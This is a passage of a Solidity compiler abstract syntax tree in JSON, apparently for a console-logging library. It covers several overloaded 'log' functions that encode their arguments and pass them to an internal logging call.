memory)"}},"id":20765,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"42627:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20757,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"42611:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20766,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"42611:92:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20767,"nodeType":"ExpressionStatement","src":"42611:92:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"42532:3:14","parameters":{"id":20755,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20748,"mutability":"mutable","name":"p0","nameLocation":"42550:2:14","nodeType":"VariableDeclaration","scope":20769,"src":"42536:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20747,"name":"string","nodeType":"ElementaryTypeName","src":"42536:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20750,"mutability":"mutable","name":"p1","nameLocation":"42562:2:14","nodeType":"VariableDeclaration","scope":20769,"src":"42554:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20749,"name":"address","nodeType":"ElementaryTypeName","src":"42554:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20752,"mutability":"mutable","name":"p2","nameLocation":"42574:2:14","nodeType":"VariableDeclaration","scope":20769,"src":"42566:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20751,"name":"address","nodeType":"ElementaryTypeName","src":"42566:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20754,"mutability":"mutable","name":"p3","nameLocation":"42583:2:14","nodeType":"VariableDeclaration","scope":20769,"src":"42578:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20753,"name":"bool","nodeType":"ElementaryTypeName","src":"42578:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"42535:51:14"},"returnParameters":{"id":20756,"nodeType":"ParameterList","parameters":[],"src":"42601:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20792,"nodeType":"FunctionDefinition","src":"42716:193:14","nodes":[],"body":{"id":20791,"nodeType":"Block","src":"42797:112:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c616464726573732c6164647265737329","id":20783,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"42847:37:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_ed8f28f6f4b5d54b1d37f705e543f556805f28b9d1bb3aef0ef7e57ef4992d15","typeString":"literal_string \"log(string,address,address,address)\""},"value":"log(string,address,address,address)"},{"id":20784,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20771,"src":"42886:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20785,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20773,"src":"42890:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20786,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20775,"src":"42894:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20787,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20777,"src":"42898:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ed8f28f6f4b5d54b1d37f705e543f556805f28b9d1bb3aef0ef7e57ef4992d15","typeString":"literal_string \"log(string,address,address,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":20781,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"42823:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20782,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"42827:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"42823:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20788,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"42823:78:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20780,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"42807:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20789,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"42807:95:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20790,"nodeType":"ExpressionStatement","src":"42807:95:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"42725:3:14","parameters":{"id":20778,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20771,"mutability":"mutable","name":"p0","nameLocation":"42743:2:14","nodeType":"VariableDeclaration","scope":20792,"src":"42729:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20770,"name":"string","nodeType":"ElementaryTypeName","src":"42729:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20773,"mutability":"mutable","name":"p1","nameLocation":"42755:2:14","nodeType":"VariableDeclaration","scope":20792,"src":"42747:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20772,"name":"address","nodeType":"ElementaryTypeName","src":"42747:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20775,"mutability":"mutable","name":"p2","nameLocation":"42767:2:14","nodeType":"VariableDeclaration","scope":20792,"src":"42759:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20774,"name":"address","nodeType":"ElementaryTypeName","src":"42759:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20777,"mutability":"mutable","name":"p3","nameLocation":"42779:2:14","nodeType":"VariableDeclaration","scope":20792,"src":"42771:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20776,"name":"address","nodeType":"ElementaryTypeName","src":"42771:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"42728:54:14"},"returnParameters":{"id":20779,"nodeType":"ParameterList","parameters":[],"src":"42797:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20815,"nodeType":"FunctionDefinition","src":"42915:164:14","nodes":[],"body":{"id":20814,"nodeType":"Block","src":"42978:101:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e742c75696e742c75696e7429","id":20806,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"43028:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_32dfa524f720faf836764864b46011dc5eb74e494d57e12b294a68048585d558","typeString":"literal_string \"log(bool,uint,uint,uint)\""},"value":"log(bool,uint,uint,uint)"},{"id":20807,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20794,"src":"43056:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20808,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20796,"src":"43060:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":20809,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20798,"src":"43064:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":20810,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20800,"src":"43068:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_32dfa524f720faf836764864b46011dc5eb74e494d57e12b294a68048585d558","typeString":"literal_string \"log(bool,uint,uint,uint)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":20804,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"43004:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20805,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"43008:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"43004:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20811,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"43004:67:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20803,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"42988:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20812,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"42988:84:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20813,"nodeType":"ExpressionStatement","src":"42988:84:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"42924:3:14","parameters":{"id":20801,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20794,"mutability":"mutable","name":"p0","nameLocation":"42933:2:14","nodeType":"VariableDeclaration","scope":20815,"src":"42928:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20793,"name":"bool","nodeType":"ElementaryTypeName","src":"42928:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20796,"mutability":"mutable","name":"p1","nameLocation":"42942:2:14","nodeType":"VariableDeclaration","scope":20815,"src":"42937:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20795,"name":"uint","nodeType":"ElementaryTypeName","src":"42937:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":20798,"mutability":"mutable","name":"p2","nameLocation":"42951:2:14","nodeType":"VariableDeclaration","scope":20815,"src":"42946:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20797,"name":"uint","nodeType":"ElementaryTypeName","src":"42946:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":20800,"mutability":"mutable","name":"p3","nameLocation":"42960:2:14","nodeType":"VariableDeclaration","scope":20815,"src":"42955:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20799,"name":"uint","nodeType":"ElementaryTypeName","src":"42955:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"42927:36:14"},"returnParameters":{"id":20802,"nodeType":"ParameterList","parameters":[],"src":"42978:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20838,"nodeType":"FunctionDefinition","src":"43085:175:14","nodes":[],"body":{"id":20837,"nodeType":"Block","src":"43157:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e742c75696e742c737472696e6729","id":20829,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"43207:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_da0666c89b01999f5c8980ce90fe9d0a367a350fd8d2ec7d1f94587b6281ebd3","typeString":"literal_string \"log(bool,uint,uint,string)\""},"value":"log(bool,uint,uint,string)"},{"id":20830,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20817,"src":"43237:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20831,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20819,"src":"43241:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":20832,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20821,"src":"43245:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":20833,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20823,"src":"43249:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_da0666c89b01999f5c8980ce90fe9d0a367a350fd8d2ec7d1f94587b6281ebd3","typeString":"literal_string \"log(bool,uint,uint,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":20827,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"43183:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20828,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"43187:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"43183:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20834,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"43183:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20826,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"43167:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20835,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"43167:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20836,"nodeType":"ExpressionStatement","src":"43167:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"43094:3:14","parameters":{"id":20824,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20817,"mutability":"mutable","name":"p0","nameLocation":"43103:2:14","nodeType":"VariableDeclaration","scope":20838,"src":"43098:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20816,"name":"bool","nodeType":"ElementaryTypeName","src":"43098:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20819,"mutability":"mutable","name":"p1","nameLocation":"43112:2:14","nodeType":"VariableDeclaration","scope":20838,"src":"43107:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20818,"name":"uint","nodeType":"ElementaryTypeName","src":"43107:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":20821,"mutability":"mutable","name":"p2","nameLocation":"43121:2:14","nodeType":"VariableDeclaration","scope":20838,"src":"43116:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20820,"name":"uint","nodeType":"ElementaryTypeName","src":"43116:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":20823,"mutability":"mutable","name":"p3","nameLocation":"43139:2:14","nodeType":"VariableDeclaration","scope":20838,"src":"43125:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20822,"name":"string","nodeType":"ElementaryTypeName","src":"43125:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"43097:45:14"},"returnParameters":{"id":20825,"nodeType":"ParameterList","parameters":[],"src":"43157:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20861,"nodeType":"FunctionDefinition","src":"43266:164:14","nodes":[],"body":{"id":20860,"nodeType":"Block","src":"43329:101:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e742c75696e742c626f6f6c29","id":20852,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"43379:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_a41d81dec511172fa866e067fea22fe074eb6260a116ec078e2e0e79a7fd8ef2","typeString":"literal_string \"log(bool,uint,uint,bool)\""},"value":"log(bool,uint,uint,bool)"},{"id":20853,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20840,"src":"43407:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20854,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20842,"src":"43411:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":20855,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20844,"src":"43415:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":20856,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20846,"src":"43419:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a41d81dec511172fa866e067fea22fe074eb6260a116ec078e2e0e79a7fd8ef2","typeString":"literal_string \"log(bool,uint,uint,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":20850,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"43355:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20851,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"43359:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"43355:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20857,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"43355:67:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20849,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"43339:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20858,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"43339:84:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20859,"nodeType":"ExpressionStatement","src":"43339:84:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"43275:3:14","parameters":{"id":20847,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20840,"mutability":"mutable","name":"p0","nameLocation":"43284:2:14","nodeType":"VariableDeclaration","scope":20861,"src":"43279:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20839,"name":"bool","nodeType":"ElementaryTypeName","src":"43279:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20842,"mutability":"mutable","name":"p1","nameLocation":"43293:2:14","nodeType":"VariableDeclaration","scope":20861,"src":"43288:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20841,"name":"uint","nodeType":"ElementaryTypeName","src":"43288:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":20844,"mutability":"mutable","name":"p2","nameLocation":"43302:2:14","nodeType":"VariableDeclaration","scope":20861,"src":"43297:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20843,"name":"uint","nodeType":"ElementaryTypeName","src":"43297:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":20846,"mutability":"mutable","name":"p3","nameLocation":"43311:2:14","nodeType":"VariableDeclaration","scope":20861,"src":"43306:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20845,"name":"bool","nodeType":"ElementaryTypeName","src":"43306:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"43278:36:14"},"returnParameters":{"id":20848,"nodeType":"ParameterList","parameters":[],"src":"43329:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20884,"nodeType":"FunctionDefinition","src":"43436:170:14","nodes":[],"body":{"id":20883,"nodeType":"Block","src":"43502:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e742c75696e742c6164647265737329","id":20875,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"43552:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_f161b2216765f7746c6d62a843721a4e56fa83880464de0ff958770fd9704e33","typeString":"literal_string \"log(bool,uint,uint,address)\""},"value":"log(bool,uint,uint,address)"},{"id":20876,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20863,"src":"43583:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20877,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20865,"src":"43587:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":20878,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20867,"src":"43591:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":20879,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20869,"src":"43595:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f161b2216765f7746c6d62a843721a4e56fa83880464de0ff958770fd9704e33","typeString":"literal_string \"log(bool,uint,uint,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":20873,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"43528:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20874,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"43532:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"43528:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20880,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"43528:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20872,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"43512:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20881,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"43512:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20882,"nodeType":"ExpressionStatement","src":"43512:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"43445:3:14","parameters":{"id":20870,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20863,"mutability":"mutable","name":"p0","nameLocation":"43454:2:14","nodeType":"VariableDeclaration","scope":20884,"src":"43449:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20862,"name":"bool","nodeType":"ElementaryTypeName","src":"43449:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20865,"mutability":"mutable","name":"p1","nameLocation":"43463:2:14","nodeType":"VariableDeclaration","scope":20884,"src":"43458:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20864,"name":"uint","nodeType":"ElementaryTypeName","src":"43458:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":20867,"mutability":"mutable","name":"p2","nameLocation":"43472:2:14","nodeType":"VariableDeclaration","scope":20884,"src":"43467:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20866,"name":"uint","nodeType":"ElementaryTypeName","src":"43467:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":20869,"mutability":"mutable","name":"p3","nameLocation":"43484:2:14","nodeType":"VariableDeclaration","scope":20884,"src":"43476:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeNam